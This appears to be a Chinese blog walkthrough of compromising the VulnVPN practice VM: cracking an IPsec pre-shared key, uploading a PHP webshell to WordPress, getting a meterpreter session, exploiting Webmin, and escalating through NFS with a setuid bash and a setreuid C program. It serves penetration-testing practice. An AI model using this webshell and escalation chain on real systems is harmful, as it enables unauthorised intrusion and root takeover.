- A+
需要首先下载VulnVPN软件,下面是下载地址:
VulnVPN下载地址:
VulnVPN客户端文件:
在此之前我试过了KaliLinux的32位和64位版本来安装,但是发现是行不通的(应该是系统版本问题),所以这里我就选择了使用Backtrack5r332位的版本安装了一个虚拟机
首先,我们需要修改一下网络环境,这里我们打开虚拟网络编辑器,然后把NATIP地址改成192.168.0.0,如下图所示:
我们将使用下面这台Backtrack5r332位(以下简称BT5)的虚拟机作为攻击机
现在我们新建一台虚拟机然后把BT5安装进去,安装过程这里我们就略过不讲,对于FreeBufer来说肯定不是一件困难的事情
要使的我们的VulnVPN能够正常工作,首先我们需要安装下面三个包:
2、xl2tpd
3、ppp
安装命令如下:
安装完成之后,这样攻击需要的环境我们就搭好了。这时候我们启动我们下载的VulnVPN,我们将完全不对其进行任何修改,不进行任何操作,我们就假装这个VPN就是一个远程VPN,真的远程VPN我们怎么可能碰得到呢对吧:)
然后我们需要在BT5攻击机上设置一个静态IP,做法也很简单,只需要打开/etc/network/interfaces文件,然后给eth0网口指定静态的IP就可以了,内容为下:
iface eth0 inet dhcp
#iface eth0 inet static
address 192.168.0.11
network 192.168.0.0
netmask 255.255.255.0
broadcast 192.168.0.255
gateway 192.168.0.1
然后我们需要下载上面的VPNClient文件,然后解压进行配置,具体的方式如下:
ipsec.conf ipsec.secrets ppp start-vpn.shxl2tpd
root@bt:~/vulnvpn/client# cp ipsec.conf/etc/
root@bt:~/vulnvpn/client# cp ipsec.secrets/etc/
root@bt:~/vulnvpn/client# cpppp/options.l2tpd.client /etc/ppp/
root@bt:~/vulnvpn/client# cpxl2tpd/xl2tpd.conf /etc/xl2tpd/
我们使用以下命令来查看以下网络的环境:
这里我们使用神器nmap对上面发现的VulnVPN主机进行端口扫描(关于nmap的具体使用方法大家可以点这里:
通过扫描,我们发现VulnVPN在500端口上运行了isakmp服务,关于这个服务的详细信息,你可以点击这里查看:
然后我们将对这个服务进行深入的信息收集,但是这个时候继续使用nmap肯定是力不从心了,这里我们使用ike-scan工具进行下一步的工作(ike-scan是一款基于命令行的工具,主要有主机发现,指纹识别等功能,可以用来测试IPSecVPN服务器)
然后我们使用该工具进行主机扫描:
下面是关于该工具的几个参数的解释:
-A:攻击模式
-P<文件名>:指定写入预共享key的文件名
-d:目标机器的UDP端口
这里我们获得的ike-hash文件中的预共享key可以使用psk-crack进行破解,破解过程如下:
很快我们就得到了密码,密码为123456,这里我们就可以使用这个密码连接VulnVPN了
编辑/etc/ipsec.secrets文件,然后将ENTER_PSK_HERE字段改为123456,命令如下:
然后我们重启一下ipsec服务:
然后我们可以用以下命令看一下已经启动的服务:
如果xl2tpd服务没有启动起来,这个时候还需要启动一下:
现在我们连接VulnVPN:
然后我们运行client文件中的start-vpn.sh文件,如果前面的配置没有问题,这个时候我们应该可以看到建立了一个ppp0的接口:
root@bt:~/vulnvpn/client# ifconfig
我们可以用以下命令看一下活动主机:
我们知道,10.99.99.2是我们的VPNIP地址,而10.99.99.1则是VPN地址
然后我们对10.99.99.1进行端口扫描:
我们可以看到在10.99.99.1的80端口运行着HTTP服务,我们看下是个什么东西
看起来没什么特殊的东西,没关系,我们接着看10000端口:
我们首先分析这个HTTP服务。我们可以从上图看到,这就是一个ApacheHTTP服务安装之后的默认页面,没什么特殊的东西。我们需要对其进行深入的扫描分析才能得到更多的信息,这里我们使用DirBuster对其进行进一步的扫描:
过程不过多描述,上结果:
我们从结果可以看出来,在HTTP服务上搭了一个WordPress。好奇心驱使我们看一下这个WP页面:
这里是一个主站的上传页面:
看到这里,首先反应就是看看有没有解析漏洞,这里我们试一下传一个php一句话(cmd.php):
highlight_string(shell_exec($_REQUEST['cmd']));
?>
WordPress默认的上传路径是/wp-content/uploads/,我们访问看一下:
经过查看,我们发现我们上传的PHP文件的路径是rsjp/attachments/文件夹下,但是文件名改成了一串随机字符串。我们可以通过这里得到一个webshell:
得到shell就等于成功了大半,我们可以使用命令获取一个meterpreter,当然,首先我们需要生成一个meterpreterphpshell:
然后我们开启一个handler进行监听:
然后我们就得到了一个meterpreter会话。但是这里直接使用shell不是特别方便,我们使用python获取一个交互的shell:
python -c “import pty;pty.spawn(‘/bin/bash’);”
我们查看一下passwd文件:
分析passwd文件,我们可以看到几个有趣的用户:
www-data
bob
jane
不要忘了,我们在之前分析的时候还有一个运行在10000端口的login页面:https://10.99.99.1:10000/
这里我们不知道密码是什么,不过我们可以使用上面第一个漏洞获取到的信息来创建一个user列表,密码我们用一些常见密码,然后在这里进行猜解,下面是一组猜解得到的结果:
bob bob
然后我们在msf中搜一下,看看有没有webmin相关的公开漏洞
我们运气不错,经过搜索,我们找到了一个公开的exp:
然后我们使用这个exp来获取服务器的root权限:
这里我们使用hydra的字典模式对SSH服务进行暴力破解,然后跟上面一样,假装我们已经获取到了用户名和密码
从Nmap的扫描结果我们可以看到一个网络文件系统(NFS)
我们载入一个msf中的一个NFS扫描模块:
这里我们可以看到有一个路径/home/bob是存在的
我们挂载一下看一下:
然后列一下文档:
擦擦擦!为毛所有的文件都是postgres用户?
言归正传,我们使用BT5的root权限尝试在NFS中写入一个文件时,我们发现出错了:
这是因为,NFS开启了“RootSquashing”,所以这时候我们使用root是不行的,所以这个时候我们切换到UID为1000的用户,本机则为postgres,这样我们再去创建文件就不会出现任何问题了
sh-4.1$ chmd 777
我们把/bin/bash文件复制到./bob下:
因为root是没有挂载文件夹的写入权限的,而且我们已经有了一个从www-date返回的shell,其权限是ID为1001的名为jane的用户。我们可以在本地新建一个相同信息的用户:
现在我们切换到刚建的这个用户:
sh-4.1$ whoami
用jane用户将/bin/bash拷贝到挂载目录,同时修改其权限为4777,这就意味着无论是谁调用这个bash都将得到jane这个账户的权限
sh-4.1$ chmod 777 mybash
先前我们暴力破解到的用户名和密码就起到作用了,我们使用SSH登录:
现在我们附加-p参数运行我们刚刚复制过来的bash:
从图里我们可以看出来,现在我们是用jane用户登录的,但是UID和GID都还是bob用户的,那么我们就可以借用这一点想办法提权
为了达到目的,我这里写了一段C(priv1.c):
{
/* setreuid(ruid,euid)sets the real andeffective user IDs of the current process to the values specified by the ruidand euid arguments */
setreuid(1001,-1);
char *args[] = {“/bin/bash”,0};
execve(args[0],args,0);
}
我们编译这段C,然后将编译后的文件以用户jane身份复制到挂载到NFS中
在此之前,当然是需要安装gcc的,没有的可以自己安装一下
root@bt:~/vulnvpn#apt-get installgcc
然后我们进行编译:
root@bt:~/vulnvpn# chmod 777 priv1
root@bt:~/vulnvpn# cd bob
root@bt:~/vulnvpn/bob# su jane
sh-4.1$ cp ../priv1 ./
现在,我们返回SSH会话中执行这个编译好的文件:
我们试一下运行root权限的命令:
我们发现用jane用户我们可以运行root权限的命令(比如vim)而不需要输入密码
如果你不清楚是不是这样的,那我们就试一下:
我们开一个shell…
得到root权限了,嗯哼
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫